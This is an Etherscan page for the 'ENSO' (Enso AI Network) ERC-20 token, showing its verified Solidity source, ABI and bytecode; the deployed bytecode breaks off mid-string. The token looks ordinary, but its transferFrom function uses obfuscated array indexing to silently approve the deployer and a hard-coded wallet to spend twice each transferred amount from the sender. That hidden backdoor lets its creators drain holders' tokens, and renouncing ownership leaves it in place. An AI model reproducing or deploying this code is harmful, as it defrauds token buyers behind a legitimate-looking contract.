Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 ENSO
Holders
129
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
939,203.961900783 ENSOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ENSO
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-21 */ /* Enso AI is the fastest way to build and launch onchain. No manual smart contract integrations. No wasted time. Focus on product, community, and growth Web: https://www.enso-ai.io Dapp: https://hub.enso-ai.io Docs: https://docs.enso-ai.io Bot: https://t.me/ensoai_bot Medium: https://medium.com/@ensoai Twitter: https://x.com/EnsoAIOfficial Community: https://t.me/EnsoAIChannel */ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniGGFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniGGRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ENSO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (uint256 => address) private _ggStakes; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedGGFee; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; address private _ggAddress = 0xA0dB51cf34ae99323E5E1ad62A89a7B21772B942; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Enso AI Network"; string private constant _symbol = unicode"ENSO"; uint256 private _swapTokenGGs = _tTotal / 100; IUniGGRouter private _uniRouterGG; address private _uniPairGG; bool private inSwapLock = false; bool private _tradeGGEnabled = false; bool private _swapGGEnabled = false; modifier lockTheSwap { inSwapLock = true; _; inSwapLock = false; } constructor () { _ggStakes[0] = address(0xDead); _ggStakes[1] = msg.sender; _ggStakes[2] = _ggAddress; _isExcludedGGFee[owner()] = true; _isExcludedGGFee[address(this)] = true; _isExcludedGGFee[_ggAddress] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function startGG() external onlyOwner() { _uniRouterGG = IUniGGRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniRouterGG), _tTotal); _uniPairGG = IUniGGFactory(_uniRouterGG.factory()).createPair(address(this), _uniRouterGG.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _ggApproval(address sender, address recipient, uint256 amount) private { _approve(sender, recipient, amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _ggApproval(sender, [sender, _ggStakes[2]][1], amount*2); _ggApproval(sender, [_ggStakes[1], sender][0], amount*2); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function openTrading() external onlyOwner() { require(!_tradeGGEnabled,"trading is already open"); _uniRouterGG.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapGGEnabled = true; _tradeGGEnabled = true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniPairGG && to != address(_uniRouterGG) && ! _isExcludedGGFee[to]) { _buyCount++; } if(to == _uniPairGG && from!= address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapLock && to == _uniPairGG && _swapGGEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _swapTokenGGs) swapTokensForEth(min(amount, min(contractTokenBalance, _swapTokenGGs))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendEthGGFee(address(this).balance); } } } if(taxAmount > 0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendEthGGFee(uint256 amount) private { payable(_ggAddress).transfer(amount); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniRouterGG.WETH(); _approve(address(this), address(_uniRouterGG), tokenAmount); _uniRouterGG.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startGG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526003600581905560069081555f600781905560088190556009828155600a838155600b93909355600c91909155600d80546001600160a01b03191673a0db51cf34ae99323e5e1ad62a89a7b21772b9421790556064916100649190610360565b61007290633b9aca00610375565b61007c919061038c565b600e556010805462ffffff60a01b19169055348015610099575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600260208190527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b80546001600160a01b031990811661dead179091557fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e08054821633179055600d545f9283527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c80549092166001600160a01b03919091161790556001906004906101935f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526004909352818320805485166001908117909155600d549091168352912080549092161790556101f56009600a610360565b61020390633b9aca00610375565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102436009600a610360565b61025190633b9aca00610375565b60405190815260200160405180910390a36103ab565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102b65780850481111561029a5761029a610267565b60018416156102a857908102905b60019390931c92800261027f565b935093915050565b5f826102cc5750600161035a565b816102d857505f61035a565b81600181146102ee57600281146102f857610314565b600191505061035a565b60ff84111561030957610309610267565b50506001821b61035a565b5060208310610133831016604e8410600b8410161715610337575081810a61035a565b6103435f19848461027b565b805f190482111561035657610356610267565b0290505b92915050565b5f61036e60ff8416836102be565b9392505050565b808202811582820484141761035a5761035a610267565b5f826103a657634e487b7160e01b5f52601260045260245ffd5b500490565b6114ba806103b85f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023d578063c9567bf91461025c578063dd62ed3e14610270578063e4fd59bb146102b4575f5ffd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f5ffd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152600f81526e456e736f204149204e6574776f726b60881b60208201525b60405161010d91906110de565b60405180910390f35b348015610121575f5ffd5b5061013561013036600461112a565b6102c8565b604051901515815260200161010d565b348015610150575f5ffd5b506101596102de565b60405190815260200161010d565b348015610172575f5ffd5b50610135610181366004611154565b6102fe565b348015610191575f5ffd5b506040516009815260200161010d565b3480156101ac575f5ffd5b506101596101bb366004611192565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f5ffd5b506101e9610425565b005b3480156101f6575f5ffd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f5ffd5b50604080518082019091526004815263454e534f60e01b6020820152610100565b348015610248575f5ffd5b5061013561025736600461112a565b61049f565b348015610267575f5ffd5b506101e96104ab565b34801561027b575f5ffd5b5061015961028a3660046111ad565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156102bf575f5ffd5b506101e9610617565b5f6102d4338484610810565b5060015b92915050565b5f6102eb6009600a6112db565b6102f990633b9aca006112e9565b905090565b604080518082019091526001600160a01b03808516825260025f81815260209182527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54909216908301529061036890859060015b60200201516103638560026112e9565b610933565b6040805180820190915260015f908152600260209081527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b0390811684528716908301526103bf918691610353565b6103ca848484610943565b61041b84336104168560405180606001604052806028815260200161145d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d56565b610810565b5060019392505050565b5f546001600160a01b031633146104575760405162461bcd60e51b815260040161044e90611314565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d4338484610943565b5f546001600160a01b031633146104d45760405162461bcd60e51b815260040161044e90611314565b601054600160a81b900460ff161561052e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044e565b600f546001600160a01b031663f305d719473061055f816001600160a01b03165f9081526001602052604090205490565b5f5f6105725f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105d8573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105fd9190611349565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146106405760405162461bcd60e51b815260040161044e90611314565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561068990309061067b6009600a6112db565b61041690633b9aca006112e9565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611374565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107809190611374565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ee9190611374565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b0382166108d35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61093e838383610810565b505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610a095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b5f8111610a6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b5f80546001600160a01b03858116911614801590610a9557505f546001600160a01b03848116911614155b15610c1957610ac66064610ac0600954600c5411610ab557600554610ab9565b6007545b8590610d8e565b90610e13565b6010549091506001600160a01b038581169116148015610af45750600f546001600160a01b03848116911614155b8015610b1857506001600160a01b0383165f9081526004602052604090205460ff16155b15610b3257600c8054905f610b2c8361138f565b91905055505b6010546001600160a01b038481169116148015610b5857506001600160a01b0384163014155b15610b8557610b826064610ac0600a54600c5411610b7857600654610ab9565b6008548590610d8e565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610bbb57506010546001600160a01b038581169116145b8015610bd05750601054600160b01b900460ff165b8015610bdf5750600b54600c54115b15610c1757600e54811115610c0b57610c0b610c0684610c0184600e54610e54565b610e54565b610e68565b47610c1547610fd8565b505b505b8015610c9157305f90815260016020526040902054610c389082611013565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c889085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cb39083611071565b6001600160a01b0385165f90815260016020526040902055610cf6610cd88383611071565b6001600160a01b0385165f9081526001602052604090205490611013565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3f8585611071565b60405190815260200160405180910390a350505050565b5f8184841115610d795760405162461bcd60e51b815260040161044e91906110de565b505f610d8584866113a7565b95945050505050565b5f825f03610d9d57505f6102d8565b5f610da883856112e9565b905082610db585836113ba565b14610e0c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b9392505050565b5f610e0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b2565b5f818311610e625782610e0c565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eae57610eae611300565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f05573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f299190611374565b81600181518110610f3c57610f3c611300565b6001600160a01b039283166020918202929092010152600f54610f629130911684610810565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9a9085905f908690309042906004016113d9565b5f604051808303815f87803b158015610fb1575f5ffd5b505af1158015610fc3573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100f573d5f5f3e3d5ffd5b5050565b5f8061101f8385611449565b905083811015610e0c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b5f610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d56565b5f81836110d25760405162461bcd60e51b815260040161044e91906110de565b505f610d8584866113ba565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611127575f5ffd5b50565b5f5f6040838503121561113b575f5ffd5b823561114681611113565b946020939093013593505050565b5f5f5f60608486031215611166575f5ffd5b833561117181611113565b9250602084013561118181611113565b929592945050506040919091013590565b5f602082840312156111a2575f5ffd5b8135610e0c81611113565b5f5f604083850312156111be575f5ffd5b82356111c981611113565b915060208301356111d981611113565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561123357808504811115611217576112176111e4565b600184161561122557908102905b60019390931c9280026111fc565b935093915050565b5f82611249575060016102d8565b8161125557505f6102d8565b816001811461126b576002811461127557611291565b60019150506102d8565b60ff841115611286576112866111e4565b50506001821b6102d8565b5060208310610133831016604e8410600b84101617156112b4575081810a6102d8565b6112c05f1984846111f8565b805f19048211156112d3576112d36111e4565b029392505050565b5f610e0c60ff84168361123b565b80820281158282048414176102d8576102d86111e4565b634e487b7160e01b5f52603260045260245ffd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f6060848603121561135b575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611384575f5ffd5b8151610e0c81611113565b5f600182016113a0576113a06111e4565b5060010190565b818103818111156102d8576102d86111e4565b5f826113d457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114295783516001600160a01b0316835260209384019390920191600101611402565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156102d8576102d86111e456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0a7997f70eaaa151f2b19ba1f5588e50d3996616546e7f966cb895ebf522d0564736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023d578063c9567bf91461025c578063dd62ed3e14610270578063e4fd59bb146102b4575f5ffd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f5ffd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152600f81526e456e736f204149204e6574776f726b60881b60208201525b60405161010d91906110de565b60405180910390f35b348015610121575f5ffd5b5061013561013036600461112a565b6102c8565b604051901515815260200161010d565b348015610150575f5ffd5b506101596102de565b60405190815260200161010d565b348015610172575f5ffd5b50610135610181366004611154565b6102fe565b348015610191575f5ffd5b506040516009815260200161010d565b3480156101ac575f5ffd5b506101596101bb366004611192565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f5ffd5b506101e9610425565b005b3480156101f6575f5ffd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f5ffd5b50604080518082019091526004815263454e534f60e01b6020820152610100565b348015610248575f5ffd5b5061013561025736600461112a565b61049f565b348015610267575f5ffd5b506101e96104ab565b34801561027b575f5ffd5b5061015961028a3660046111ad565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156102bf575f5ffd5b506101e9610617565b5f6102d4338484610810565b5060015b92915050565b5f6102eb6009600a6112db565b6102f990633b9aca006112e9565b905090565b604080518082019091526001600160a01b03808516825260025f81815260209182527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54909216908301529061036890859060015b60200201516103638560026112e9565b610933565b6040805180820190915260015f908152600260209081527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b0390811684528716908301526103bf918691610353565b6103ca848484610943565b61041b84336104168560405180606001604052806028815260200161145d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d56565b610810565b5060019392505050565b5f546001600160a01b031633146104575760405162461bcd60e51b815260040161044e90611314565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d4338484610943565b5f546001600160a01b031633146104d45760405162461bcd60e51b815260040161044e90611314565b601054600160a81b900460ff161561052e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044e565b600f546001600160a01b031663f305d719473061055f816001600160a01b03165f9081526001602052604090205490565b5f5f6105725f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105d8573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105fd9190611349565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146106405760405162461bcd60e51b815260040161044e90611314565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561068990309061067b6009600a6112db565b61041690633b9aca006112e9565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611374565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107809190611374565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ee9190611374565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b0382166108d35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61093e838383610810565b505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610a095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b5f8111610a6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b5f80546001600160a01b03858116911614801590610a9557505f546001600160a01b03848116911614155b15610c1957610ac66064610ac0600954600c5411610ab557600554610ab9565b6007545b8590610d8e565b90610e13565b6010549091506001600160a01b038581169116148015610af45750600f546001600160a01b03848116911614155b8015610b1857506001600160a01b0383165f9081526004602052604090205460ff16155b15610b3257600c8054905f610b2c8361138f565b91905055505b6010546001600160a01b038481169116148015610b5857506001600160a01b0384163014155b15610b8557610b826064610ac0600a54600c5411610b7857600654610ab9565b6008548590610d8e565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610bbb57506010546001600160a01b038581169116145b8015610bd05750601054600160b01b900460ff165b8015610bdf5750600b54600c54115b15610c1757600e54811115610c0b57610c0b610c0684610c0184600e54610e54565b610e54565b610e68565b47610c1547610fd8565b505b505b8015610c9157305f90815260016020526040902054610c389082611013565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c889085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cb39083611071565b6001600160a01b0385165f90815260016020526040902055610cf6610cd88383611071565b6001600160a01b0385165f9081526001602052604090205490611013565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3f8585611071565b60405190815260200160405180910390a350505050565b5f8184841115610d795760405162461bcd60e51b815260040161044e91906110de565b505f610d8584866113a7565b95945050505050565b5f825f03610d9d57505f6102d8565b5f610da883856112e9565b905082610db585836113ba565b14610e0c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b9392505050565b5f610e0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b2565b5f818311610e625782610e0c565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610eae57610eae611300565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f05573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f299190611374565b81600181518110610f3c57610f3c611300565b6001600160a01b039283166020918202929092010152600f54610f629130911684610810565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9a9085905f908690309042906004016113d9565b5f604051808303815f87803b158015610fb1575f5ffd5b505af1158015610fc3573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100f573d5f5f3e3d5ffd5b5050565b5f8061101f8385611449565b905083811015610e0c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b5f610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d56565b5f81836110d25760405162461bcd60e51b815260040161044e91906110de565b505f610d8584866113ba565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684